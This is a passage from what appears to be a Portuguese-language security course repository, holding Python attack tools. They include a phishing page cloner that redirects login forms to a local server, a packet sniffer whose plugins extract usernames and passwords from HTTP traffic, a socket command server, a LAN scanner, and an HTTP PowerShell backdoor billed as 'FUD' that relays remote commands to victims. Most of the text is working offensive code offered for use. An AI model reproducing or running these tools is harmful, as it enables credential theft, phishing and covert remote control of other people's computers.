cliente:') 60 | if (ip in self.getClientes()): 61 | self.setClienteAtivo(self.getClientes()[ip]) 62 | else: 63 | print('cliente nao encontrado!') 64 | else: 65 | if (self.getClienteAtivo() != None): 66 | self.getClienteAtivo().send(bytes(msg, 'utf8')) 67 | 68 | 69 | if __name__ == '__main__': 70 | print('esperando clientes') 71 | server = Servidor(SERVER) 72 | ACCEPT_THREAD = Thread(target=server.aceitar_clientes) 73 | ACCEPT_THREAD.start() 74 | server.controlClientes() 75 | ACCEPT_THREAD.join() 76 | SERVER.close() -------------------------------------------------------------------------------- /modulo 05/phishing/main.py: -------------------------------------------------------------------------------- 1 | #http://www.stealmylogin.com/demo.html 2 | 3 | from urllib.request import urlopen 4 | from bs4 import BeautifulSoup 5 | from servers.server import HTTPServerPhishing 6 | import argparse 7 | import signal, sys 8 | 9 | 10 | 11 | class Phishing(object): 12 | def _init__(self): 13 | self.__url = None 14 | self.__ip = None 15 | 16 | def setUrl(self, url): 17 | if not url.startswith('http://'): 18 | url = 'http://' + url 19 | self.__url = url 20 | 21 | def setIP(self, ip): 22 | self.__ip = ip 23 | 24 | def getIP(self): 25 | return self.__ip 26 | 27 | def getUrl(self): 28 | return self.__url 29 | 30 | def checkStatusUrl(self): 31 | result = urlopen(self.getUrl()) 32 | if (result.getcode() == 200): 33 | return True 34 | return False 35 | 36 | def saveHtmlSite(self, html): 37 | with open("web/index.html" , "w") as f: 38 | f.write(str(html)) 39 | f.close() 40 | 41 | def runCloneSite(self): 42 | if (not self.getUrl()): return 43 | if (not self.checkStatusUrl()): return 44 | 45 | html = urlopen(self.getUrl()).read() 46 | content_inter = BeautifulSoup(html, "lxml") 47 | if (content_inter.find_all('form')): 48 | for tag in content_inter.find_all('form'): 49 | tag['method'], tag['action'] = 'post', '' 50 | 51 | self.saveHtmlSite(content_inter) 52 | 53 | http = HTTPServerPhishing(self.getIP(), 2000, self.getUrl(), "web/") 54 | http.run() 55 | 56 | 57 | def signal_handler( sginal, frame): 58 | sys.exit(0) 59 | 60 | version = "v1.0" 61 | 62 | if __name__ == '__main__': 63 | parser = argparse.ArgumentParser(description="pshing - craate simple generic page phishing attaack") 64 | parser.add_argument('-u','--url', dest='url',help='set the url to clone website', required=True) 65 | parser.add_argument('-i','--ip', dest='localip',help='set the ipaddress of server',default='0.0.0.0') 66 | parser_load = parser.parse_args() 67 | 68 | obj_phishing = Phishing() 69 | obj_phishing.setUrl(parser_load.url) 70 | obj_phishing.setIP(parser_load.localip) 71 | signal.signal(signal.SIGINT, signal_handler) 72 | obj_phishing.runCloneSite() 73 | signal.pause() -------------------------------------------------------------------------------- /modulo 04/sniffer/plugins/http.py: -------------------------------------------------------------------------------- 1 | from scapy.all import ARP, Ether, Raw, TCP, IP 2 | from plugins.base import BasePlugin 3 | from scapy_http import http 4 | import re 5 | 6 | class HTTPPacket(BasePlugin): 7 | """ pega as credenciais de uma requisicao http GET ou POST """ 8 | _name = 'HTTPPacket' 9 | _activated = False 10 | _output = [] 11 | 12 | def __init__(self): 13 | pass 14 | 15 | @staticmethod 16 | def getName(): 17 | return HTTPPacket._name 18 | 19 | def getActivated(self): 20 | return self._activated 21 | 22 | def setActivated(self, status): 23 | self._activated = status 24 | 25 | def getLogger(self): 26 | return self._output 27 | 28 | def writeLogger(self, log): 29 | print('[*] {}'.format(log)) 30 | self._output.append(log) 31 | 32 | 33 | 34 | def getCredentials_POST(self,payload,url,header,dport,sport): 35 | user_regex = '([Ee]mail|%5B[Ee]mail%5D|[Uu]ser|[Uu]sername|' \ 36 | '[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)' 37 | pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|' \ 38 | '[Pp]asswrd|[Pp]assw|%5B[Pp]assword%5D)=([^&|;]*)' 39 | username = re.findall(user_regex, payload) 40 | password = re.findall(pw_regex, payload) 41 | print(payload) 42 | if not username ==[] and not password == []: 43 | self.writeLogger({'POSTCreds':{'User':username[0][1], 44 | 'Pass': password[0][1],'Url':str(url),'Destination':'{}/{}'.format(sport,dport)}}) 45 | 46 | 47 | def ParserPackets(self, pkt): 48 | if not pkt.haslayer(http.HTTPRequest): 49 | return 50 | try: 51 | if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): 52 | self.dport = pkt[TCP].dport 53 | self.sport = pkt[TCP].sport 54 | self.src_ip_port = str(pkt[IP].src) + ':' + str(self.sport) 55 | self.dst_ip_port = str(pkt[IP].dst) + ':' + str(self.dport) 56 | 57 | http_layer = pkt.getlayer(http.HTTPRequest) 58 | ip_layer = pkt.getlayer(IP) 59 | 60 | if http_layer.fields['Method'].decode() == 'POST': 61 | self.getCredentials_POST(pkt.getlayer(Raw).load.decode(), http_layer.fields['Host'], 62 | http_layer.fields['Headers'], self.dst_ip_port, self.src_ip_port) 63 | 64 | return self.writeLogger({'urlsCap':{'IP': ip_layer.fields, 'Headers': http_layer.fields}}) 65 | except: pass -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/plugins/http.py: -------------------------------------------------------------------------------- 1 | from scapy.all import ARP, Ether, Raw, TCP, IP 2 | from plugins.base import BasePlugin 3 | from scapy_http import http 4 | import re 5 | 6 | class HTTPPacket(BasePlugin): 7 | """ pega as credenciais de uma requisicao http GET ou POST """ 8 | _name = 'HTTPPacket' 9 | _activated = False 10 | _output = [] 11 | 12 | def __init__(self): 13 | pass 14 | 15 | @staticmethod 16 | def getName(): 17 | return HTTPPacket._name 18 | 19 | def getActivated(self): 20 | return self._activated 21 | 22 | def setActivated(self, status): 23 | self._activated = status 24 | 25 | def getLogger(self): 26 | return self._output 27 | 28 | def writeLogger(self, log): 29 | print('[*] {}'.format(log)) 30 | self._output.append(log) 31 | 32 | 33 | 34 | def getCredentials_POST(self,payload,url,header,dport,sport): 35 | user_regex = '([Ee]mail|%5B[Ee]mail%5D|[Uu]ser|[Uu]sername|' \ 36 | '[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)' 37 | pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|' \ 38 | '[Pp]asswrd|[Pp]assw|%5B[Pp]assword%5D)=([^&|;]*)' 39 | username = re.findall(user_regex, payload) 40 | password = re.findall(pw_regex, payload) 41 | print(payload) 42 | if not username ==[] and not password == []: 43 | self.writeLogger({'POSTCreds':{'User':username[0][1], 44 | 'Pass': password[0][1],'Url':str(url),'Destination':'{}/{}'.format(sport,dport)}}) 45 | 46 | 47 | def ParserPackets(self, pkt): 48 | if not pkt.haslayer(http.HTTPRequest): 49 | return 50 | try: 51 | if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): 52 | self.dport = pkt[TCP].dport 53 | self.sport = pkt[TCP].sport 54 | self.src_ip_port = str(pkt[IP].src) + ':' + str(self.sport) 55 | self.dst_ip_port = str(pkt[IP].dst) + ':' + str(self.dport) 56 | 57 | http_layer = pkt.getlayer(http.HTTPRequest) 58 | ip_layer = pkt.getlayer(IP) 59 | 60 | if http_layer.fields['Method'].decode() == 'POST': 61 | self.getCredentials_POST(pkt.getlayer(Raw).load.decode(), http_layer.fields['Host'], 62 | http_layer.fields['Headers'], self.dst_ip_port, self.src_ip_port) 63 | 64 | return self.writeLogger({'urlsCap':{'IP': ip_layer.fields, 'Headers': http_layer.fields}}) 65 | except: pass -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/core/sniff.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | import queue 3 | from scapy.all import * 4 | import netifaces 5 | from plugins import * 6 | from config.config import Settings 7 | import sys 8 | 9 | class Sniffer(Thread): 10 | def __init__(self, options): 11 | super(Sniffer, self).__init__() 12 | self.parser_options = options 13 | self.plugins = {} 14 | self._status = False 15 | self._interface = self.parser_options.interface 16 | self._filter = self.parser_options.filter 17 | self.config = Settings() 18 | 19 | def checkIface (self, iface): 20 | if (iface in netifaces.interfaces()): 21 | return True 22 | return False 23 | 24 | def getStatus(self): 25 | return self._status 26 | 27 | def setInterface(self, iface): 28 | self.config.setValue("interface", iface) 29 | self._interface = iface 30 | 31 | def getInterface(self): 32 | return self._interface 33 | 34 | def setStatus(self, status ): 35 | self._status = status 36 | 37 | def getStringFilter(self): 38 | return self._filter 39 | 40 | def setStringfilter(self, value): 41 | self._filter = value 42 | 43 | def exit_no_ifacesfound(self): 44 | print('[!] interface not found!') 45 | sys.exit(0) 46 | 47 | def sniffer(self, q): 48 | while not self.getStatus(): 49 | try: 50 | sniff(iface=self.getInterface(), filter=self.getStringFilter(), 51 | prn= lambda x: q.put(x) , store=0) 52 | except Exception: 53 | pass 54 | if self.getStatus(): 55 | break 56 | 57 | def run(self): 58 | if not self.checkIface(self.getInterface()): 59 | return self.exit_no_ifacesfound() 60 | 61 | self.all_plugins = base.BasePlugin.__subclasses__() 62 | for p in self.all_plugins: 63 | print('[-] plugin:: {} ativo '.format(p.getName())) 64 | self.plugins[p.getName()] = p() 65 | self.plugins[p.getName()].setActivated(True) 66 | 67 | 68 | q = queue.Queue() 69 | 70 | sniff = Thread(target=self.sniffer, args=(q,)) 71 | sniff.deamon = True 72 | sniff.start() 73 | 74 | self.setStatus(False) 75 | while not self.getStatus(): 76 | try: 77 | pkt = q.get(timeout=1) 78 | for plugin in list(self.plugins.keys()): 79 | if self.plugins[plugin].getActivated(): 80 | self.plugins[plugin].ParserPackets(pkt) 81 | except queue.Empty: 82 | pass 83 | 84 | def stop(self): 85 | self.setStatus(True) 86 | -------------------------------------------------------------------------------- /modulo 02/multiprocess/application/multi_cpu.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import multiprocessing 3 | import time 4 | from lxml import html 5 | 6 | maximum_tries = 2 7 | links_unvalid = ["javascript", "png", "jpeg", "jpg", "gif", "deb", "exe"] 8 | 9 | session = requests.Session() 10 | session.mount('http://', requests.adapters.HTTPAdapter(max_retries=maximum_tries)) 11 | 12 | class Consumer(multiprocessing.Process): 13 | def __init__(self, task_queue, result_queue): 14 | multiprocessing.Process.__init__(self) 15 | self.task_queue = task_queue 16 | self.result_queue = result_queue 17 | 18 | def findLinks(self, endereco): 19 | print("status : website -> %s find links..." % endereco) 20 | page = requests.get(endereco) 21 | webpage = html.fromstring(page.content) 22 | return webpage.xpath('//a/@href') 23 | 24 | def stop(self): 25 | self.started = False 26 | 27 | def run(self): 28 | self.started = True 29 | proc_name = self.name 30 | while self.started: 31 | next_task = self.task_queue.get() 32 | if next_task is None: 33 | # Poison pill means shutdown 34 | print('%s: Exiting' % proc_name) 35 | self.task_queue.task_done() 36 | break 37 | print('%s: %s' % (proc_name, next_task)) 38 | answer = next_task() 39 | links = self.findLinks(answer) 40 | print(links) 41 | for link in links: 42 | self.result_queue.put(link) 43 | self.task_queue.task_done() 44 | return 45 | 46 | class Task(object): 47 | def __init__(self, link): 48 | self.link = link 49 | def __call__(self): 50 | time.sleep(0.1) 51 | return self.link 52 | def __str__(self): 53 | return '%s * %s' % ("task", self.link) 54 | 55 | 56 | 57 | 58 | if __name__ == '__main__': 59 | # Establish communication queues 60 | tasks = multiprocessing.JoinableQueue() 61 | results = multiprocessing.Queue() 62 | 63 | # Start consumers 64 | num_consumers = multiprocessing.cpu_count() * 2 65 | print('Creating %d consumers' % num_consumers) 66 | consumers = [ Consumer(tasks, results) 67 | for i in range(num_consumers) ] 68 | for w in consumers: 69 | w.start() 70 | 71 | # Enqueue jobs 72 | websites = ['http://econpy.pythonanywhere.com/ex/001.html', 'http://econpy.pythonanywhere.com/'] 73 | for i in websites: 74 | tasks.put(Task(i)) 75 | 76 | # Add a poison pill for each consumer 77 | for i in range(num_consumers): 78 | tasks.put(None) 79 | 80 | # Wait for all of the tasks to finish 81 | tasks.join() 82 | 83 | # Start printing results 84 | while not results.empty(): 85 | result = results.get() 86 | print('Result:', result) -------------------------------------------------------------------------------- /modulo 04/scanner/scanner.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process, Manager 2 | from os import devnull, popen 3 | from threading import Thread 4 | from subprocess import Popen, PIPE, STDOUT 5 | from tabulate import tabulate 6 | import requests 7 | 8 | 9 | 10 | 11 | class ThreadFastScanIP(Thread): 12 | 13 | def __init__(self, gateway, range_start, range_end, parent= None): 14 | super(ThreadFastScanIP, self).__init__(parent) 15 | self.range_start = range_start 16 | self.range_end = range_end 17 | self.working_thread = True 18 | self.on_ips = [] 19 | # '192.168.174.' 20 | self.gatewayNT = gateway[:len(gateway) - len(gateway.split('.').pop())] 21 | 22 | def run(self): 23 | self.jobs = [] 24 | self.manager = Manager() 25 | self.on_ips = self.manager.dict() 26 | for count in range(self.range_start, self.range_end): 27 | ip='%s{0}'.format(count)%(self.gatewayNT) 28 | if not self.working_thread: break 29 | p = Process(target=self.working, args=(ip, self.on_ips)) 30 | self.jobs.append(p) 31 | p.start() 32 | 33 | for proc in self.jobs: 34 | proc.join() 35 | proc.terminate() 36 | 37 | def working(self, ip, lista): 38 | with open(devnull , 'wb') as limbo: 39 | result = Popen(['ping', '-c', '1', '-n' , '-W' , '1' , ip], 40 | stdout=limbo, stderr=limbo).wait() 41 | if not result: 42 | if (self.get_mac(ip) == None): 43 | lista[ip] = {'mac' : '', 'vendor' : ''} 44 | else: 45 | lista[ip] = {'mac' : self.get_mac(ip), 46 | 'vendor' : self.resolver_mac(self.get_mac(ip))} 47 | 48 | def get_mac(self, host): 49 | fields = popen('grep "%s" /proc/net/arp' % host).read().split() 50 | if len(fields) == 6 and fields[3] != '00:00:00:00:00:00': 51 | return fields[3] 52 | return None 53 | 54 | def resolver_mac(self,mac): 55 | MAC_URL = 'http://macvendors.co/api/%s' 56 | try: 57 | r = requests.get(MAC_URL % mac.upper()) 58 | except: 59 | return '' 60 | return r.json()['result']['company'] 61 | 62 | 63 | def getOutput(self): 64 | return self.on_ips 65 | 66 | def showoutput_table(self): 67 | keys = self.on_ips.keys() 68 | values = self.on_ips.values() 69 | 70 | data = { 'IP': keys, 71 | 'MAC' : [v['mac'] for v in values], 72 | 'VENDORS' : [v['vendor'] for v in values]} 73 | 74 | print(tabulate(data, headers='keys')) 75 | 76 | 77 | 78 | if (__name__ == '__main__'): 79 | thread_scan = ThreadFastScanIP('192.168.174.1', 0, 255) 80 | thread_scan.start() 81 | thread_scan.join() 82 | #print(thread_scan.getOutput()) 83 | print(thread_scan.showoutput_table()) -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/ps_backdoor.py: -------------------------------------------------------------------------------- 1 | from http.server import BaseHTTPRequestHandler, HTTPServer 2 | import base64 3 | import argparse 4 | from payloads import * 5 | from sys import exit 6 | stage_activated = None 7 | 8 | class myHandler(BaseHTTPRequestHandler): 9 | 10 | def log_message(self, fomart , *tes): 11 | pass 12 | 13 | def do_GET(self): 14 | if (self.path == "/connect"): 15 | self.send_response(200) 16 | self.send_header('Content-type', 1) 17 | self.end_headers() 18 | self.wfile.write(stage_activated.getCode().encode()) 19 | 20 | elif "/rat" == self.path: 21 | self.send_response(200) 22 | cmd = base64.b64encode(input("(ps_backdoor) > ").encode('latin-1')) 23 | self.send_header('Content-type', 1) 24 | self.end_headers() 25 | self.wfile.write(cmd) 26 | 27 | def do_POST(self): 28 | if "/rat" == self.path: 29 | content_len = int(self.headers.get('content-length', 0)) 30 | post_read = self.rfile.read(content_len).decode('latin-1') 31 | print(post_read) 32 | self.send_response(200) 33 | self.send_header('Content-type', 'text/plain') 34 | self.end_headers() 35 | 36 | 37 | if __name__ == '__main__': 38 | parser = argparse.ArgumentParser(description="ps_backdoor - simple backdoor http powershell FUD") 39 | parser.add_argument('-i','--ip-addr', dest='ip',help='set the ip address to server',default='0.0.0.0') 40 | parser.add_argument('-p','--port', dest='port',help='set the port the handler',default=8000) 41 | parser.add_argument('-s','--stage', dest='stage',help='set payload shell ',default=None) 42 | parser_load = parser.parse_args() 43 | print('Author: Curso Security TOol {} ') 44 | print('[*] Starting the server...') 45 | print('[*] HOST: {}:{}'.format(parser_load.ip,parser_load.port)) 46 | 47 | 48 | all_stagers = base.BasePayload.__subclasses__() 49 | stagers = {} 50 | for stage in all_stagers: 51 | stagers[stage.getName().lower()] = stage() 52 | 53 | 54 | if (parser_load.stage == None): 55 | if (parser_load.stage.lower() in list(stagers.keys())): 56 | for stage in stagers.keys(): 57 | if (stagers[stage].getActivated()): 58 | stage_activated = stagers[stage] 59 | else: 60 | stage_activated = stagers[parser_load.stage.lower()] 61 | 62 | print("[*] plugin: " + stage_activated.getName()) 63 | if (stage_activated == None): 64 | exit("[!] the payload {} not found!".format(parser_load.stage)) 65 | 66 | try: 67 | stage_activated.setHandler(parser_load.ip, parser_load.port) 68 | server = HTTPServer((parser_load.ip, int(parser_load.port)), myHandler) 69 | server.serve_forever() 70 | except KeyboardInterrupt: 71 | print('^C received, shutting down the web server') 72 | server.socket.close() -------------------------------------------------------------------------------- /modulo 04/sniffer/sniff.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | import queue 3 | from scapy.all import * 4 | import netifaces 5 | from plugins import * 6 | import argparse 7 | import signal 8 | import sys 9 | 10 | class Sniffer(object): 11 | def __init__(self, options): 12 | self.parser_options = options 13 | self.plugins = {} 14 | self._status = False 15 | self._filter = self.parser_options.filter 16 | 17 | def checkIface (self, iface): 18 | if (iface in netifaces.interfaces()): 19 | return True 20 | return False 21 | 22 | def getStatus(self): 23 | return self._status 24 | 25 | def setStatus(self, status ): 26 | self._status = status 27 | 28 | def getStringFilter(self): 29 | return self._filter 30 | 31 | def setStringfilter(self, value): 32 | self._filter = value 33 | 34 | def exit_no_ifacesfound(self): 35 | print('[!] interface not found!') 36 | sys.exit(0) 37 | 38 | 39 | def sniffer(self, q): 40 | while not self.getStatus(): 41 | try: 42 | sniff(iface=self.parser_options.interface, filter=self.getStringFilter(), 43 | prn= lambda x: q.put(x) , store=0) 44 | except Exception: 45 | pass 46 | if self.getStatus(): 47 | break 48 | 49 | def run(self): 50 | if not self.checkIface(self.parser_options.interface): 51 | return self.exit_no_ifacesfound() 52 | 53 | self.all_plugins = base.BasePlugin.__subclasses__() 54 | for p in self.all_plugins: 55 | print('[-] plugin:: {} ativo '.format(p.getName())) 56 | self.plugins[p.getName()] = p() 57 | self.plugins[p.getName()].setActivated(True) 58 | 59 | 60 | q = queue.Queue() 61 | 62 | sniff = Thread(target=self.sniffer, args=(q,)) 63 | sniff.deamon = True 64 | sniff.start() 65 | 66 | self.setStatus(False) 67 | while not self.getStatus(): 68 | try: 69 | pkt = q.get(timeout=1) 70 | for plugin in list(self.plugins.keys()): 71 | if self.plugins[plugin].getActivated(): 72 | self.plugins[plugin].ParserPackets(pkt) 73 | except queue.Empty: 74 | pass 75 | 76 | def stop(self): 77 | self.setStatus(True) 78 | 79 | 80 | def signal_handler(signal, frame): 81 | sys.exit(0) 82 | 83 | if (__name__ == "__main__"): 84 | parser = argparse.ArgumentParser(description="sniff packet on the fly") 85 | parser.add_argument('-i','--interface', dest='interface', help='set the interface to sniff', default=None) 86 | parser.add_argument('-f','--filter', dest='filter', help='set the string filter to sniff', default='tcp and ( port 80)') 87 | parser.add_argument('-v','--version', dest='version', help='show version the tool') 88 | 89 | sniffer = Sniffer(parser.parse_args()) 90 | signal.signal(signal.SIGINT, signal_handler) 91 | sniffer.run() 92 | signal.pause() -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | --------------------------------------------------------------------------------